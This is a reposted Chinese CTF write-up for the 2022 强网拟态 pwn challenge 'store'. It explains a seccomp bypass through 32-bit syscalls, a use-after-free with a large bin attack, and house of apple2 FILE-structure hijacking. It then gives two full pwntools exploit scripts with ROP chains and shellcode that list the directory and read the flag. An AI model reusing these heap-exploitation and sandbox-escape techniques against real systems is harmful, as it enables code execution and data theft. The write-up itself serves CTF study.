2022强网拟态pwn-store

news2024/12/23 10:20:56

2022强网拟态pwn-store

这是一个综合题，io链接的构造，orw的系统位数的限制
在这里插入图片描述
首先是这个沙箱，64位只有r和w，一开始看的时候很纳闷多了32位的限制，64位还没有o，查了一下才知道这样的seccomp-tools是以64位的检查来检查的，所以上面显示的32位系统调用就是64位的系统调用，所以看一下上面在32位显示的这些实际上是多少
在这里插入图片描述
64位的fstat是5，所以对应32位是open
在这里插入图片描述
lgetxattr是0xc0，对应32位的是mmap2
在这里插入图片描述
chmod对应是0x5a，对应32位是mmap
在这里插入图片描述
setpriority对应的是0x8d，对应32位是getdents
所以32位下可用open和mmap和getdents
那orw的时候open用32位的调用
在这里插入图片描述
漏洞点是uaf，可以用四次
在这里插入图片描述
add只能2次，但是需要注意的是次数检查前可以malloc，所以可以利用这个bug可以随时large bin attack
所以思路比较清楚，利用house of apple2控制程序流程，mprotect控制rwx权限，布置shellcode，需要注意的是远程flag文件名需要getdents找一下，找完了之后利用orw即可。
这个是第一部分找flag文件名的exp

from pwn import *

context(os='linux', log_level='debug')

file_name = './store'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'choice: '

def add(size, content, remark):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Size: ', str(size))
    r.sendafter('Content: ', content)
    r.sendafter('Remark: ', remark)

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index: ', str(index))

def edit(index, content, remark):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index: ', str(index))
    r.sendafter('Content: ', content)
    r.sendafter('Remark: ', remark)

def show(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index: ', str(index))

def backdoor(size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Size: ', str(size))

add(0x440, 'aaaa', 'bbbb')
add(0x430, 'cccc', 'dddd')

delete(0)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./2.31/libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
IO_list_all = libc_base + libc.sym['_IO_list_all']
li('IO_list_all = ' + hex(IO_list_all))

_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
li('_IO_wfile_jumps = ' + hex(_IO_wfile_jumps))
system_addr = libc_base + libc.sym['system']

backdoor(0x500)

delete(1)

p1 = p64(0) * 3 + p64(IO_list_all - 0x20)
edit(0, p1, 'a')

backdoor(0x500)

show(0)

r.recvuntil('Content: \n')

heap_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('heap_addr = ' + hex(heap_addr))

pop_rdi_ret = 0x0000000000023b6a + libc_base
pop_rax_ret = 0x0000000000036174 + libc_base
pop_rsi_ret = 0x000000000002601f + libc_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
syscall_ret = 0x00000000000630a9 + libc_base

setcontext = libc_base + libc.sym['setcontext'] + 61
li('stecontext + 61 = ' + hex(setcontext))
rsp = heap_addr + 0xd0 + 0xe8 + 0x70
rsi = rsp

p2 = b''
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0x70, b'\x00') + p64(rsi)
p2 = p2.ljust(0xd0 + 0x88, b'\x00') + p64(0x2000)
p2 = p2.ljust(0xd0 + 0xa0, b'\x00') + p64(rsp) + p64(syscall_ret)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(heap_addr + 0xe0 + 0xe8)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(setcontext)
#p2 += rop

edit(1, p2, 'a')

shellcode = asm(shellcraft.mmap(0x50000, 0x7e, 7, 34, 0, 0))
shellcode += asm(shellcraft.amd64.read(0, 0x50000, 0x40), arch = 'amd64')
shellcode += asm(shellcraft.open(0x50000, 0x10000))
shellcode += asm(shellcraft.getdents("eax", 0x50000 + 0x100, 0x200))
shellcode += asm(shellcraft.amd64.write(1, 0x50000 + 0x100, 0x200), arch='amd64')
#shellcode += asm(shellcraft.open(0x50000, 0))
#shellcode += asm(shellcraft.amd64.read("rax", "rsp", 0x100), arch='amd64')
#shellcode += asm(shellcraft.amd64.write(1, "rsp", 0x100), arch='amd64')

#dbg()
r.sendlineafter(menu, '5')

rop = p64(pop_rdi_ret) + p64(heap_addr - 0xb30) + p64(pop_rsi_ret) + p64(0x21000) + p64(pop_rdx_ret) + p64(7) + p64(pop_rax_ret) + p64(10) + p64(syscall_ret) + p64(rsp + 80)
rop += shellcode
r.send(rop)
#dbg()
r.send('./\x00')
#r.send('./f1ag8b2c52b1525e3bb016ca\x00')
#r.send('flag\x00')
r.interactive()

下面是完整exp

from pwn import *

context(os='linux', log_level='debug')

file_name = './store'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'choice: '

def add(size, content, remark):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Size: ', str(size))
    r.sendafter('Content: ', content)
    r.sendafter('Remark: ', remark)

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index: ', str(index))

def edit(index, content, remark):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index: ', str(index))
    r.sendafter('Content: ', content)
    r.sendafter('Remark: ', remark)

def show(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index: ', str(index))

def backdoor(size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Size: ', str(size))

add(0x440, 'aaaa', 'bbbb')
add(0x430, 'cccc', 'dddd')

delete(0)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./2.31/libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
IO_list_all = libc_base + libc.sym['_IO_list_all']
li('IO_list_all = ' + hex(IO_list_all))

_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
li('_IO_wfile_jumps = ' + hex(_IO_wfile_jumps))
system_addr = libc_base + libc.sym['system']

backdoor(0x500)

delete(1)

p1 = p64(0) * 3 + p64(IO_list_all - 0x20)
edit(0, p1, 'a')

backdoor(0x500)

show(0)

r.recvuntil('Content: \n')

heap_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('heap_addr = ' + hex(heap_addr))

pop_rdi_ret = 0x0000000000023b6a + libc_base
pop_rax_ret = 0x0000000000036174 + libc_base
pop_rsi_ret = 0x000000000002601f + libc_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
syscall_ret = 0x00000000000630a9 + libc_base

setcontext = libc_base + libc.sym['setcontext'] + 61
li('stecontext + 61 = ' + hex(setcontext))
rsp = heap_addr + 0xd0 + 0xe8 + 0x70
rsi = rsp

p2 = b''
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0x70, b'\x00') + p64(rsi)
p2 = p2.ljust(0xd0 + 0x88, b'\x00') + p64(0x2000)
p2 = p2.ljust(0xd0 + 0xa0, b'\x00') + p64(rsp) + p64(syscall_ret)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(heap_addr + 0xe0 + 0xe8)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(setcontext)
#p2 += rop

edit(1, p2, 'a')

shellcode = asm(shellcraft.mmap(0x50000, 0x7e, 7, 34, 0, 0))
shellcode += asm(shellcraft.amd64.read(0, 0x50000, 0x40), arch = 'amd64')
#shellcode += asm(shellcraft.open(0x50000, 0x10000))
#shellcode += asm(shellcraft.getdents("eax", 0x50000 + 0x100, 0x200))
#shellcode += asm(shellcraft.amd64.write(1, 0x50000 + 0x100, 0x200), arch='amd64')
shellcode += asm(shellcraft.open(0x50000, 0))
shellcode += asm(shellcraft.amd64.read("rax", "rsp", 0x100), arch='amd64')
shellcode += asm(shellcraft.amd64.write(1, "rsp", 0x100), arch='amd64')

#dbg()
r.sendlineafter(menu, '5')

rop = p64(pop_rdi_ret) + p64(heap_addr - 0xb30) + p64(pop_rsi_ret) + p64(0x21000) + p64(pop_rdx_ret) + p64(7) + p64(pop_rax_ret) + p64(10) + p64(syscall_ret) + p64(rsp + 80)
rop += shellcode
r.send(rop)
#dbg()
#r.send('./\x00')
r.send('./f1ag8b2c52b1525e3bb016ca\x00')
#r.send('flag\x00')
r.interactive()

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/25933.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Design Compiler工具学习笔记（4）

Design Compiler工具学习笔记（4）

目录 引言 知识储备 实际操作 设计源码 Vivado2018.3仿真 VCS2016仿真 Tcl脚本 约束脚本 MY_TOP.tcl 运行脚本 RUN.tcl 引言 本篇继续学习 DC的基本使用。本篇主要学习 DC 需要的环境约束。 前文链接： Design Compiler工具学习笔记（1&#x…
阅读更多...
【苹果推iMessage位置推相册共享推送】软件安装上传到appstore都是需要的Activity

【苹果推iMessage位置推相册共享推送】软件安装上传到appstore都是需要的Activity

推荐内容IMESSGAE相关 作者推荐内容iMessage苹果推软件 *** 点击即可查看作者要求内容信息作者推荐内容1.家庭推内容 *** 点击即可查看作者要求内容信息作者推荐内容2.相册推 *** 点击即可查看作者要求内容信息作者推荐内容3.日历推 *** 点击即可查看作者要求内容信息作者推荐…
阅读更多...
maxcompute优化慢执行语句思路

maxcompute优化慢执行语句思路

maxcompute慢执行任务优化如何锁定慢执行任务？判断是何种类型的慢任务如何锁定慢执行任务？ 第一步：如果是周期任务可以通过任务执行日志中的LogView 链接查看 ，如果是临时任务则通过maxcompute命令行 执行wait instanceId instanc…
阅读更多...
现代密码学导论-2-古典密码及其密码分析

现代密码学导论-2-古典密码及其密码分析

目录 1.3 古典密码和密码分析 1.3.1 凯撒密码 Caesar’s cipher 1.3.2 移位密码 shift cipher 1.3.3 充分密钥空间原则 1.3.4 单表代换密码 mono-alphabetic substitution cipher 1.3.5 利用字母频率对移位密码的一种改进攻击 1.3.6 维吉尼亚密码(多表代换密码)Vigenere…
阅读更多...
Ansys Zemax | 使用 OpticStudio 进行闪光激光雷达系统建模（上）

Ansys Zemax | 使用 OpticStudio 进行闪光激光雷达系统建模（上）

前言 在消费类电子产品领域，工程师可利用激光雷达实现众多功能，如面部识别和3D映射等。尽管激光雷达系统的应用非常广泛而且截然不同，但是 “闪光激光雷达” 解决方案通常都适用于在使用固态光学元件的目标场景中生成可检测的点阵列。凭借具…
阅读更多...
教育行业数据可视化应用方案与实践

教育行业数据可视化应用方案与实践

教育行业背景介绍 随着信息技术发展，教育领域中的学习方式、教学模式、教学内容均已发生重大变革，以云计算、人工智能、物联网、大数据等技术的结合，“智慧教育”的需求也变的紧迫，需要围绕“智慧教育”而产生的产品和解决方案也…
阅读更多...
课程思政案例----简道云零代码应用开发实训平台

课程思政案例----简道云零代码应用开发实训平台

为了更好推动零代码开发课程的思政建设，在传递大数据相关知识和技能的同时帮助学生塑造正确的世界观、人生观和价值观。我们整理了与简道云平台结合的应用案例，开放给全国各大高校使用。 1、杨卫红：一位55岁不懂代码的农经员，为家…
阅读更多...
Windows下将文件夹映射为磁盘

Windows下将文件夹映射为磁盘

Windows下将文件夹映射为磁盘背景描述方法一：使用命令方法二：映射网络驱动器背景描述 公司发的新电脑，只有普通用户权限，所以可想而知磁盘只有一个C盘，但是以前习惯性的将一些软件啥的放在D盘中，所以把C盘…
阅读更多...
打好“三场仗”，数据库新晋厂商石原子胜券在握

打好“三场仗”，数据库新晋厂商石原子胜券在握

纵观数字经济时代，数据规模呈爆发式增长，国产化替代加速发展。据中国信通院《数据库发展研究报告(2021年)》预测，预计到2025年，全球数据库市场规模将达到798亿美元，其中，中国数据库市场总规模将达到688亿元…
阅读更多...
js文件模块化引用问题（JavaScript modules）

js文件模块化引用问题（JavaScript modules）

有个前端项目，需要用到配置文件。这个配置文件实在是太大了，就想拆成多个小的，然后一一引入，组合成一个完整的配置文件。 如果是vue代码，这种情况根本是手到擒来，不费吹灰之力，而该前端项目是个…
阅读更多...
（WRF-UCM）高精度城市化气象动力模拟技术

（WRF-UCM）高精度城市化气象动力模拟技术

气候变化及应对是政府、科学界及商业界关注的焦点。气候是多个领域（生态、水资源、风资源及碳中和等问题）的主要驱动因素，合理认知气候变化有利于解释生态环境变化机理及过程，而了解现在、未来气候变化则是进行生态、环境及能源评…
阅读更多...
vs2022 编译遇见编译器堆空间不足，解决办法（针对CMAKE工程）

vs2022 编译遇见编译器堆空间不足，解决办法（针对CMAKE工程）

1、原因： 就是编译工程文件太大，导致堆栈溢出。原始vs默认的编译器是32位，我们设置为64位就可解决部分问题。 具体可能造成的原因可以参考： 错误 C1060 |微软学习 (microsoft.com) 2、解决： 1、需要提前安装cmake…
阅读更多...
iOS关于搜索不规则瀑布流布局的实现小结

iOS关于搜索不规则瀑布流布局的实现小结

最近在项目开发中遇到了不规则搜索布局的问题。 之前常用的解决方案是用一个tableview用一个循环动态的加载，唯一的缺点是需要动态的移除，其实也已经足够。ios搜索历史记录不规则布局-IOS代码类资源-CSDN下载，需要的话可以下载使用。请教了一…
阅读更多...
双向链表的实现

双向链表的实现

这里以结构体的方式来实现链表，也可以使用类。结构体在没有修饰符的情况下，默认是共有访问。如有不对，希望能指出。 目录 一、链表和结点结构体的声明 (ListNode.h) 二、链表各个功能的实现 1、增 (1) 构造函数（创建链表头结点…
阅读更多...
简历上写着“精通 MySQL”，阿里面试官非要跟我死磕，最后还是给我发了 offer

简历上写着“精通 MySQL”，阿里面试官非要跟我死磕，最后还是给我发了 offer

事情是这样的 前段时间因为想要跳槽就去面试了下阿里，大家也都清楚，精通这个词在简历上属于很难把握住的一个词，如果你在你的简历上面写着你精通 XX 技术，那面试官就会默认你是真的很会，刨根问底问到你崩溃。 我之前…
阅读更多...
【踩坑】工作中真实踩坑，一个or让sql变慢7倍

【踩坑】工作中真实踩坑，一个or让sql变慢7倍

工作中真实踩坑，一个or让sql变慢1000倍1.情况说明2.解释计划3.or改成union4.总结1.情况说明 测试环境，有两张表，分别是讲师表t_train_lecturer(后面简称B表）,和讲师的授课时长表t_train_activity（后面简称A表&#xf…
阅读更多...
opencv 图像平滑

opencv 图像平滑

高通滤波可以找到图像的边缘。低通滤波可以去除噪音，模糊图像。 自定义滤波器 cv2.filter2D() import cv2 import numpy as np from matplotlib import pyplot as pltimg cv2.imread(img1.png) imgcv2.cvtColor(img,cv2.COLOR_BGR2RGB) kernel np.ones((5, 5), n…
阅读更多...
2022年11月10篇论文推荐

2022年11月10篇论文推荐

随着最大的人工智能研究会议(NeurIPS 2022)即将到来，我们进入了2022年的最后阶段。让我们回顾一下人工智能世界最近发生了什么。 在介绍推荐论文之前，先说一个很有意思的项目： img-to-music:想象图像听起来是什么样的模型! https://hugging…
阅读更多...
人工智能和自动驾驶业务将是百度未来的最强增长动力

人工智能和自动驾驶业务将是百度未来的最强增长动力

来源：猛兽财经 作者：猛兽财经 虽然百度(BIDU)长期以来一直缺乏增长动力，但猛兽财经认为现在可能是投资百度股票的时候了。因为我们认为百度在未来有几个可以实现强劲增长的动力。首先，百度可以利用其在中国自动驾驶市场的领先地位…
阅读更多...
如何验证ARP缓存表最多能缓存多少条动态条目

如何验证ARP缓存表最多能缓存多少条动态条目

ARP协议原理、ARP缓存表目的，这些在我的文章中已经反复提及过多次了。ARP缓存表里有静态和动态条目两种，静态的是写死的，没有老化时间，不会随着时间的流逝而自动删除。动态条目是缓存的，有老化时间timeout，如果长时间没有刷新，老化时间到了就会自动删除。老化时间是一个…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023